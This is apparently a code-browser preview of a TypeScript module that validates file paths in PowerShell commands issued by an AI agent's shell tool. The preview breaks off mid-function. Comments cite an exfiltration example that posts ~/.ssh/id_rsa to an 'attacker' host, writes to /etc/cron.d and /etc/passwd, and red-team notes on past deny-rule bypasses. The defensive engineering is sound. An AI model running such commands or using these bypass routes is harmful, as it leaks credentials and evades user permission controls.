πŸ“„ File detail

tools/PowerShellTool/pathValidation.ts

🧩 .tsπŸ“ 2,050 linesπŸ’Ύ 73,059 bytesπŸ“ text
← Back to All Files

🎯 Use case

This module implements the β€œPowerShellTool” tool (Power Shell) β€” something the model can call at runtime alongside other agent tools. On the API surface it exposes isDangerousRemovalRawPath, dangerousRemovalDeny, and checkPathConstraints β€” mainly functions, hooks, or classes. Dependencies touch Node OS/process metadata and Node path helpers. It composes internal code from Tool, types, utils, commonParameters, and readOnlyValidation (relative imports). What the file header says: PowerShell-specific path validation for command arguments. Extracts file paths from PowerShell commands using the AST parser and validates they stay within allowed project directories. Follows the same patterns as BashTool/pathValidation.ts.

Generated from folder role, exports, dependency roots, and inline comments β€” not hand-reviewed for every path.

🧠 Inline summary

PowerShell-specific path validation for command arguments. Extracts file paths from PowerShell commands using the AST parser and validates they stay within allowed project directories. Follows the same patterns as BashTool/pathValidation.ts.

πŸ“€ Exports (heuristic)

  • isDangerousRemovalRawPath
  • dangerousRemovalDeny
  • checkPathConstraints

πŸ“š External import roots

Package roots from from "…" (relative paths omitted).

  • os
  • path

πŸ–₯️ Source preview

/**
 * PowerShell-specific path validation for command arguments.
 *
 * Extracts file paths from PowerShell commands using the AST parser
 * and validates they stay within allowed project directories.
 * Follows the same patterns as BashTool/pathValidation.ts.
 */

import { homedir } from 'os'
import { isAbsolute, resolve } from 'path'
import type { ToolPermissionContext } from '../../Tool.js'
import type { PermissionRule } from '../../types/permissions.js'
import { getCwd } from '../../utils/cwd.js'
import {
  getFsImplementation,
  safeResolvePath,
} from '../../utils/fsOperations.js'
import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'
import {
  allWorkingDirectories,
  checkEditableInternalPath,
  checkPathSafetyForAutoEdit,
  checkReadableInternalPath,
  matchingRuleForInput,
  pathInAllowedWorkingPath,
} from '../../utils/permissions/filesystem.js'
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
import {
  isDangerousRemovalPath,
  isPathInSandboxWriteAllowlist,
} from '../../utils/permissions/pathValidation.js'
import { getPlatform } from '../../utils/platform.js'
import type {
  ParsedCommandElement,
  ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
import {
  isNullRedirectionTarget,
  isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'
import { resolveToCanonical } from './readOnlyValidation.js'

const MAX_DIRS_TO_LIST = 5
// PowerShell wildcards are only * ? [ ] β€” braces are LITERAL characters
// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`
// through glob-base truncation instead of full-path symlink resolution.
const GLOB_PATTERN_REGEX = /[*?[\]]/

type FileOperationType = 'read' | 'write' | 'create'

type PathCheckResult = {
  allowed: boolean
  decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason
}

type ResolvedPathCheckResult = PathCheckResult & {
  resolvedPath: string
}

/**
 * Per-cmdlet parameter configuration.
 *
 * Each entry declares:
 *   - operationType: whether this cmdlet reads or writes to the filesystem
 *   - pathParams: parameters that accept file paths (validated against allowed directories)
 *   - knownSwitches: switch parameters (take NO value) β€” next arg is NOT consumed
 *   - knownValueParams: value-taking parameters that are NOT paths β€” next arg IS consumed
 *     but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt)
 *
 * SECURITY MODEL: Any -Param NOT in one of these three sets forces
 * hasUnvalidatablePathArg β†’ ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole
 * where every missing switch caused the unknown-param heuristic to swallow the
 * next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow
 * with invocations we fully understand.
 *
 * Sources:
 *   - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1
 *   - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis)
 *
 * NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here;
 * they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time.
 *
 * Parameter names are lowercase with leading dash to match runtime comparison.
 */
type CmdletPathConfig = {
  operationType: FileOperationType
  /** Parameter names that accept file paths (validated against allowed directories) */
  pathParams: string[]
  /** Switch parameters that take no value (next arg is NOT consumed) */
  knownSwitches: string[]
  /** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */
  knownValueParams: string[]
  /**
   * Parameter names that accept a leaf filename resolved by PowerShell
   * relative to ANOTHER parameter (not cwd). Safe to extract only when the
   * value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are
   * flagged as unvalidatable because validatePath resolves against cwd, not
   * the actual base β€” joining against -Path would need cross-parameter
   * tracking.
   */
  leafOnlyPathParams?: string[]
  /**
   * Number of leading positional arguments to skip (NOT extracted as paths).
   * Used for cmdlets where positional-0 is a non-path value β€” e.g.,
   * Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path.
   * Without this, `iwr http://example.com` extracts `http://example.com` as
   * a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on
   * the URL scheme with a confusing "non-filesystem provider" message.
   */
  positionalSkip?: number
  /**
   * When true, this cmdlet only writes to disk when a pathParam is present.
   * Without a path (e.g., `Invoke-WebRequest https://example.com` with no
   * -OutFile), it's effectively a read operation β€” output goes to the pipeline,
   * not the filesystem. Skips the "write with no target path" forced-ask.
   * Cmdlets like Set-Content that ALWAYS write should NOT set this.
   */
  optionalWrite?: boolean
}

const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = {
  // ─── Write/create operations ──────────────────────────────────────────────
  'set-content': {
    operationType: 'write',
    // -PSPath and -LP are runtime aliases for -LiteralPath on all provider
    // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the
    // unknown-param branch β†’ path trapped β†’ paths=[] β†’ deny never consulted.
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-passthru',
      '-force',
      '-whatif',
      '-confirm',
      '-usetransaction',
      '-nonewline',
      '-asbytestream', // PS 6+
    ],
    knownValueParams: [
      '-value',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-encoding',
      '-stream',
    ],
  },
  'add-content': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-passthru',
      '-force',
      '-whatif',
      '-confirm',
      '-usetransaction',
      '-nonewline',
      '-asbytestream', // PS 6+
    ],
    knownValueParams: [
      '-value',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-encoding',
      '-stream',
    ],
  },
  'remove-item': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-recurse',
      '-force',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-stream',
    ],
  },
  'clear-content': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-stream',
    ],
  },
  // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level
  // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only
  // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept
  // file paths positionally.
  'out-file': {
    operationType: 'write',
    // Out-File uses -FilePath (position 0). -Path is PowerShell's documented
    // ALIAS for -FilePath β€” must be in pathParams or `Out-File -Path:./x`
    // (colon syntax, one token) falls to unknown-param β†’ value trapped β†’
    // paths=[] β†’ Edit deny never consulted β†’ ask (fail-safe but deny downgrade).
    pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-append',
      '-force',
      '-noclobber',
      '-nonewline',
      '-whatif',
      '-confirm',
    ],
    knownValueParams: ['-inputobject', '-encoding', '-width'],
  },
  'tee-object': {
    operationType: 'write',
    // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path.
    pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-append'],
    knownValueParams: ['-inputobject', '-variable', '-encoding'],
  },
  'export-csv': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-append',
      '-force',
      '-noclobber',
      '-notypeinformation',
      '-includetypeinformation',
      '-useculture',
      '-noheader',
      '-whatif',
      '-confirm',
    ],
    knownValueParams: [
      '-inputobject',
      '-delimiter',
      '-encoding',
      '-quotefields',
      '-usequotes',
    ],
  },
  'export-clixml': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'],
    knownValueParams: ['-inputobject', '-depth', '-encoding'],
  },
  // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` β†’
  // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES β†’ not in
  // config β†’ early return {paths:[], 'read'} β†’ Edit deny never consulted.
  //
  // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination
  // dest). operationType:'write' is imperfect β€” source is semantically a read
  // β€” but it means BOTH paths get Edit-deny validation, which is strictly
  // safer than extracting neither. A per-param operationType would be ideal
  // but that's a bigger schema change; blunt 'write' closes the gap now.
  'new-item': {
    operationType: 'write',
    // -Path is position 0. -Name (position 1) is resolved by PowerShell
    // RELATIVE TO -Path (per MS docs: "you can specify the path of the new
    // item in Name"), including `..` traversal. We resolve against CWD
    // (validatePath L930), not -Path β€” so `New-Item -Path /allowed
    // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil,
    // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss
    // the deny rule. This is a deny→ask downgrade, not fail-safe.
    //
    // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are
    // extracted (resolves to cwd/foo.txt β€” slightly wrong, but -Path
    // extraction covers the directory, and a leaf can't traverse);
    // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg β†’
    // ask. Joining -Name against -Path would be correct but needs
    // cross-parameter tracking β€” out of scope here.
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    leafOnlyPathParams: ['-name'],
    knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
    knownValueParams: ['-itemtype', '-value', '-credential', '-type'],
  },
  'copy-item': {
    operationType: 'write',
    // -Path (position 0) is source, -Destination (position 1) is dest.
    // Both extracted; both validated as write.
    pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
    knownSwitches: [
      '-container',
      '-force',
      '-passthru',
      '-recurse',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-fromsession',
      '-tosession',
    ],
  },
  'move-item': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'],
    knownSwitches: [
      '-force',
      '-passthru',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
  },
  // rename-item/set-item: same class β€” ren/rni/si in COMMON_ALIASES, neither
  // was in config. `ren /etc/passwd passwd.bak` β†’ resolves to rename-item
  // β†’ not in config β†’ {paths:[], 'read'} β†’ Edit deny bypassed. This closes
  // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every
  // write-cmdlet alias now resolves to a config entry.
  'rename-item': {
    operationType: 'write',
    // -Path position 0, -NewName position 1. -NewName is leaf-only (docs:
    // "You cannot specify a new drive or a different path") and Rename-Item
    // explicitly rejects `..` in it β€” so knownValueParams is correct here,
    // unlike New-Item -Name which accepts traversal.
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-force',
      '-passthru',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: [
      '-newname',
      '-credential',
      '-filter',
      '-include',
      '-exclude',
    ],
  },
  'set-item': {
    operationType: 'write',
    // FileSystem provider throws NotSupportedException for Set-Item content,
    // so the practical write surface is registry/env/function/alias providers.
    // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at
    // step 3.5 in powershellPermissions.ts, but classifying set-item as write
    // here is defense-in-depth β€” powershellSecurity.ts:379 already lists it
    // in ENV_WRITE_CMDLETS; this makes pathValidation consistent.
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-force',
      '-passthru',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: [
      '-value',
      '-credential',
      '-filter',
      '-include',
      '-exclude',
    ],
  },
  // ─── Read operations ──────────────────────────────────────────────────────
  'get-content': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-force',
      '-usetransaction',
      '-wait',
      '-raw',
      '-asbytestream', // PS 6+
    ],
    knownValueParams: [
      '-readcount',
      '-totalcount',
      '-tail',
      '-first', // alias for -TotalCount
      '-head', // alias for -TotalCount
      '-last', // alias for -Tail
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-delimiter',
      '-encoding',
      '-stream',
    ],
  },
  'get-childitem': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-recurse',
      '-force',
      '-name',
      '-usetransaction',
      '-followsymlink',
      '-directory',
      '-file',
      '-hidden',
      '-readonly',
      '-system',
    ],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-depth',
      '-attributes',
      '-credential',
    ],
  },
  'get-item': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-usetransaction'],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-stream',
    ],
  },
  'get-itemproperty': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-usetransaction'],
    knownValueParams: [
      '-name',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
    ],
  },
  'get-itempropertyvalue': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-usetransaction'],
    knownValueParams: [
      '-name',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
    ],
  },
  'get-filehash': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [],
    knownValueParams: ['-algorithm', '-inputstream'],
  },
  'get-acl': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'],
    knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'],
  },
  'format-hex': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-raw'],
    knownValueParams: [
      '-inputobject',
      '-encoding',
      '-count', // PS 6+
      '-offset', // PS 6+
    ],
  },
  'test-path': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-isvalid', '-usetransaction'],
    knownValueParams: [
      '-filter',
      '-include',
      '-exclude',
      '-pathtype',
      '-credential',
      '-olderthan',
      '-newerthan',
    ],
  },
  'resolve-path': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-relative', '-usetransaction', '-force'],
    knownValueParams: ['-credential', '-relativebasepath'],
  },
  'convert-path': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-usetransaction'],
    knownValueParams: [],
  },
  'select-string': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-simplematch',
      '-casesensitive',
      '-quiet',
      '-list',
      '-notmatch',
      '-allmatches',
      '-noemphasis', // PS 7+
      '-raw', // PS 7+
    ],
    knownValueParams: [
      '-inputobject',
      '-pattern',
      '-include',
      '-exclude',
      '-encoding',
      '-context',
      '-culture', // PS 7+
    ],
  },
  'set-location': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-passthru', '-usetransaction'],
    knownValueParams: ['-stackname'],
  },
  'push-location': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-passthru', '-usetransaction'],
    knownValueParams: ['-stackname'],
  },
  'pop-location': {
    operationType: 'read',
    // Pop-Location has no -Path/-LiteralPath (it pops from the stack),
    // but we keep the entry so it passes through path validation gracefully.
    pathParams: [],
    knownSwitches: ['-passthru', '-usetransaction'],
    knownValueParams: ['-stackname'],
  },
  'select-xml': {
    operationType: 'read',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [],
    knownValueParams: ['-xml', '-content', '-xpath', '-namespace'],
  },
  'get-winevent': {
    operationType: 'read',
    // Get-WinEvent only has -Path, no -LiteralPath
    pathParams: ['-path'],
    knownSwitches: ['-force', '-oldest'],
    knownValueParams: [
      '-listlog',
      '-logname',
      '-listprovider',
      '-providername',
      '-maxevents',
      '-computername',
      '-credential',
      '-filterxpath',
      '-filterxml',
      '-filterhashtable',
    ],
  },
  // Write-path cmdlets with output parameters. Without these entries,
  // -OutFile / -DestinationPath would write to arbitrary paths unvalidated.
  'invoke-webrequest': {
    operationType: 'write',
    // -OutFile is the write target; -InFile is a read source (uploads a local
    // file). Both are in pathParams so Edit deny rules are consulted (this
    // config is operationType:write β†’ permissionType:edit). A user with
    // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST
    // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted
    // for write-type cmdlets β€” that's a known limitation of the
    // operationType→permissionType mapping.
    pathParams: ['-outfile', '-infile'],
    positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
    optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only
    knownSwitches: [
      '-allowinsecureredirect',
      '-allowunencryptedauthentication',
      '-disablekeepalive',
      '-nobodyprogress',
      '-passthru',
      '-preservefileauthorizationmetadata',
      '-resume',
      '-skipcertificatecheck',
      '-skipheadervalidation',
      '-skiphttperrorcheck',
      '-usebasicparsing',
      '-usedefaultcredentials',
    ],
    knownValueParams: [
      '-uri',
      '-method',
      '-body',
      '-contenttype',
      '-headers',
      '-maximumredirection',
      '-maximumretrycount',
      '-proxy',
      '-proxycredential',
      '-retryintervalsec',
      '-sessionvariable',
      '-timeoutsec',
      '-token',
      '-transferencoding',
      '-useragent',
      '-websession',
      '-credential',
      '-authentication',
      '-certificate',
      '-certificatethumbprint',
      '-form',
      '-httpversion',
    ],
  },
  'invoke-restmethod': {
    operationType: 'write',
    // -OutFile is the write target; -InFile is a read source (uploads a local
    // file). Both must be in pathParams so deny rules are consulted.
    pathParams: ['-outfile', '-infile'],
    positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path
    optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only
    knownSwitches: [
      '-allowinsecureredirect',
      '-allowunencryptedauthentication',
      '-disablekeepalive',
      '-followrellink',
      '-nobodyprogress',
      '-passthru',
      '-preservefileauthorizationmetadata',
      '-resume',
      '-skipcertificatecheck',
      '-skipheadervalidation',
      '-skiphttperrorcheck',
      '-usebasicparsing',
      '-usedefaultcredentials',
    ],
    knownValueParams: [
      '-uri',
      '-method',
      '-body',
      '-contenttype',
      '-headers',
      '-maximumfollowrellink',
      '-maximumredirection',
      '-maximumretrycount',
      '-proxy',
      '-proxycredential',
      '-responseheaderstvariable',
      '-retryintervalsec',
      '-sessionvariable',
      '-statuscodevariable',
      '-timeoutsec',
      '-token',
      '-transferencoding',
      '-useragent',
      '-websession',
      '-credential',
      '-authentication',
      '-certificate',
      '-certificatethumbprint',
      '-form',
      '-httpversion',
    ],
  },
  'expand-archive': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
    knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'],
    knownValueParams: [],
  },
  'compress-archive': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'],
    knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'],
    knownValueParams: ['-compressionlevel'],
  },
  // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/
  // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\,
  // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts.
  // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring
  // set-item's rationale.
  'set-itemproperty': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-passthru',
      '-force',
      '-whatif',
      '-confirm',
      '-usetransaction',
    ],
    knownValueParams: [
      '-name',
      '-value',
      '-type',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
      '-inputobject',
    ],
  },
  'new-itemproperty': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
    knownValueParams: [
      '-name',
      '-value',
      '-propertytype',
      '-type',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
    ],
  },
  'remove-itemproperty': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
    knownValueParams: [
      '-name',
      '-filter',
      '-include',
      '-exclude',
      '-credential',
    ],
  },
  'clear-item': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'],
    knownValueParams: ['-filter', '-include', '-exclude', '-credential'],
  },
  'export-alias': {
    operationType: 'write',
    pathParams: ['-path', '-literalpath', '-pspath', '-lp'],
    knownSwitches: [
      '-append',
      '-force',
      '-noclobber',
      '-passthru',
      '-whatif',
      '-confirm',
    ],
    knownValueParams: ['-name', '-description', '-scope', '-as'],
  },
}

/**
 * Checks if a lowercase parameter name (with leading dash) matches any entry
 * in the given param list, accounting for PowerShell's prefix-matching behavior
 * (e.g., -Lit matches -LiteralPath).
 */
function matchesParam(paramLower: string, paramList: string[]): boolean {
  for (const p of paramList) {
    if (
      p === paramLower ||
      (paramLower.length > 1 && p.startsWith(paramLower))
    ) {
      return true
    }
  }
  return false
}

/**
 * Returns true if a colon-syntax value contains expression constructs that
 * mask the real runtime path (arrays, subexpressions, variables, backtick
 * escapes). The outer CommandParameterAst 'Parameter' element type hides
 * these from our AST walk, so we must detect them textually.
 *
 * Used in three branches of extractPathsFromCommand: pathParams,
 * leafOnlyPathParams, and the unknown-param defense-in-depth branch.
 */
function hasComplexColonValue(rawValue: string): boolean {
  return (
    rawValue.includes(',') ||
    rawValue.startsWith('(') ||
    rawValue.startsWith('[') ||
    rawValue.includes('`') ||
    rawValue.includes('@(') ||
    rawValue.startsWith('@{') ||
    rawValue.includes('$')
  )
}

function formatDirectoryList(directories: string[]): string {
  const dirCount = directories.length
  if (dirCount <= MAX_DIRS_TO_LIST) {
    return directories.map(dir => `'${dir}'`).join(', ')
  }
  const firstDirs = directories
    .slice(0, MAX_DIRS_TO_LIST)
    .map(dir => `'${dir}'`)
    .join(', ')
  return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`
}

/**
 * Expands tilde (~) at the start of a path to the user's home directory.
 */
function expandTilde(filePath: string): string {
  if (
    filePath === '~' ||
    filePath.startsWith('~/') ||
    filePath.startsWith('~\\')
  ) {
    return homedir() + filePath.slice(1)
  }
  return filePath
}

/**
 * Checks the raw user-provided path (pre-realpath) for dangerous removal
 * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat
 * isDangerousRemovalPath: on Windows '/' β†’ 'C:\' (fails the === '/' check);
 * on macOS homedir() may be under /var which realpathSync rewrites to
 * /private/var (fails the === homedir() check). Checking the tilde-expanded,
 * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr)
 * as the user typed them.
 */
export function isDangerousRemovalRawPath(filePath: string): boolean {
  const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace(
    /\\/g,
    '/',
  )
  return isDangerousRemovalPath(expanded)
}

export function dangerousRemovalDeny(path: string): PermissionResult {
  return {
    behavior: 'deny',
    message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`,
    decisionReason: {
      type: 'other',
      reason: 'Removal targets a protected system path',
    },
  }
}

/**
 * Checks if a resolved path is allowed for the given operation type.
 * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed.
 */
function isPathAllowed(
  resolvedPath: string,
  context: ToolPermissionContext,
  operationType: FileOperationType,
  precomputedPathsToCheck?: readonly string[],
): PathCheckResult {
  const permissionType = operationType === 'read' ? 'read' : 'edit'

  // 1. Check deny rules first
  const denyRule = matchingRuleForInput(
    resolvedPath,
    context,
    permissionType,
    'deny',
  )
  if (denyRule !== null) {
    return {
      allowed: false,
      decisionReason: { type: 'rule', rule: denyRule },
    }
  }

  // 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs)
  // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory
  // and internal editable paths live under ~/.claude/ β€” matching the ordering in
  // checkWritePermissionForTool (filesystem.ts step 1.5)
  if (operationType !== 'read') {
    const internalEditResult = checkEditableInternalPath(resolvedPath, {})
    if (internalEditResult.behavior === 'allow') {
      return {
        allowed: true,
        decisionReason: internalEditResult.decisionReason,
      }
    }
  }

  // 2.5. For write/create operations, check safety validations
  if (operationType !== 'read') {
    const safetyCheck = checkPathSafetyForAutoEdit(
      resolvedPath,
      precomputedPathsToCheck,
    )
    if (!safetyCheck.safe) {
      return {
        allowed: false,
        decisionReason: {
          type: 'safetyCheck',
          reason: safetyCheck.message,
          classifierApprovable: safetyCheck.classifierApprovable,
        },
      }
    }
  }

  // 3. Check if path is in allowed working directory
  const isInWorkingDir = pathInAllowedWorkingPath(
    resolvedPath,
    context,
    precomputedPathsToCheck,
  )
  if (isInWorkingDir) {
    if (operationType === 'read' || context.mode === 'acceptEdits') {
      return { allowed: true }
    }
  }

  // 3.5. For read operations, check internal readable paths
  if (operationType === 'read') {
    const internalReadResult = checkReadableInternalPath(resolvedPath, {})
    if (internalReadResult.behavior === 'allow') {
      return {
        allowed: true,
        decisionReason: internalReadResult.decisionReason,
      }
    }
  }

  // 3.7. For write/create operations to paths OUTSIDE the working directory,
  // check the sandbox write allowlist. When the sandbox is enabled, users
  // have explicitly configured writable directories (e.g. /tmp/claude/) β€”
  // treat these as additional allowed write directories so redirects/Out-File/
  // New-Item don't prompt unnecessarily. Paths IN the working directory are
  // excluded: the sandbox allowlist always seeds '.' (cwd), which would
  // bypass the acceptEdits gate at step 3.
  if (
    operationType !== 'read' &&
    !isInWorkingDir &&
    isPathInSandboxWriteAllowlist(resolvedPath)
  ) {
    return {
      allowed: true,
      decisionReason: {
        type: 'other',
        reason: 'Path is in sandbox write allowlist',
      },
    }
  }

  // 4. Check allow rules
  const allowRule = matchingRuleForInput(
    resolvedPath,
    context,
    permissionType,
    'allow',
  )
  if (allowRule !== null) {
    return {
      allowed: true,
      decisionReason: { type: 'rule', rule: allowRule },
    }
  }

  // 5. Path is not allowed
  return { allowed: false }
}

/**
 * Best-effort deny check for paths obscured by :: or backtick syntax.
 * ONLY checks deny rules β€” never auto-allows. If the stripped guess
 * doesn't match a deny rule, we fall through to ask as before.
 */
function checkDenyRuleForGuessedPath(
  strippedPath: string,
  cwd: string,
  toolPermissionContext: ToolPermissionContext,
  operationType: FileOperationType,
): { resolvedPath: string; rule: PermissionRule } | null {
  // Red-team P7: null bytes make expandPath throw. Pre-existing but
  // defend here since we're introducing a new call path.
  if (!strippedPath || strippedPath.includes('\0')) return null
  // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires
  // on leading ~ β€” the backtick was in front of it. Re-run here.
  const tildeExpanded = expandTilde(strippedPath)
  const abs = isAbsolute(tildeExpanded)
    ? tildeExpanded
    : resolve(cwd, tildeExpanded)
  const { resolvedPath } = safeResolvePath(getFsImplementation(), abs)
  const permissionType = operationType === 'read' ? 'read' : 'edit'
  const denyRule = matchingRuleForInput(
    resolvedPath,
    toolPermissionContext,
    permissionType,
    'deny',
  )
  return denyRule ? { resolvedPath, rule: denyRule } : null
}

/**
 * Validates a file system path, handling tilde expansion.
 */
function validatePath(
  filePath: string,
  cwd: string,
  toolPermissionContext: ToolPermissionContext,
  operationType: FileOperationType,
): ResolvedPathCheckResult {
  // Remove surrounding quotes if present
  const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))

  // SECURITY: PowerShell Core normalizes backslashes to forward slashes on all
  // platforms, but path.resolve on Linux/Mac treats them as literal characters.
  // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow
  // are correctly detected.
  const normalizedPath = cleanPath.replace(/\\/g, '/')

  // SECURITY: Backtick (`) is PowerShell's escape character. It is a no-op in
  // many positions (e.g., `/ === /) but defeats Node.js path checks like
  // isAbsolute(). Redirection targets use raw .Extent.Text which preserves
  // backtick escapes. Treat any path containing a backtick as unvalidatable.
  if (normalizedPath.includes('`')) {
    // Red-team P3: backtick is already resolved for StringConstant args
    // (parser uses .value); this guard primarily fires for redirection
    // targets which use raw .Extent.Text. Strip is a no-op for most special
    // escapes (`n β†’ n) but that's fine β€” wrong guess β†’ no deny match β†’
    // falls to ask.
    const backtickStripped = normalizedPath.replace(/`/g, '')
